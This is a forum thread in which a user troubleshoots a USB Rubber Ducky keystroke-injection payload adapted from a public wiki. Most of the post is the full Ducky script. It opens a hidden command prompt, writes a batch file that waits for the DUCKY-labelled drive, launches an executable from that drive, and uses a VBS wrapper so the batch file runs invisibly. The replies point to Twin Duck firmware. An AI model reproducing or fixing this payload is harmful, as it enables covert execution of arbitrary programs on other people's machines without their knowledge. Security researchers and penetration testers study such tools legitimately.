Issue with Runexe from SD

[Exmix]

So, working on this to see if I can get this working.

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---runexe-from-sd

I use this code(Same one from above but edited slightly)

DELAY 3000
GUI r
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750

STRING CD %TEMP%
ENTER

STRING erase /Q DuckyWait.bat
ENTER
STRING copy con DuckyWait.bat
ENTER
REM DuckyWait.bat
STRING :while1
ENTER
STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%%d
ENTER
STRING if Exist %myd% (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 30
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
REM Continue script.
STRING START %myd%\(MyFileHere)
ENTER
CONTROL z
ENTER

REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

STRING wscript.exe invis.vbs DuckyWait.bat
ENTER
STRING EXIT
ENTER

I can't see if there anything else in there I need to edit or change but it doesn't run the file I selected.

I keep the .bin and my file on the root of the SD Card

[Exmix]

After reading and such, I see I may need to use a different Firmware? Sorry a bit new to using this and trying to get more aquainted with it.

[Exmix]

Bump; Still lookin for some help.

I think I need Twin Duck firmware? But haven't seen any guides or How To's on here to help me figure out how to go about doing that.

[LukasS]

Change Firmware to twin duck and then do this .. :

[Exmix]

I figured I had to change to twin ducks, gotta find a guide on how to do that. :X

But I bookmarked your link for when I get that. Thanks.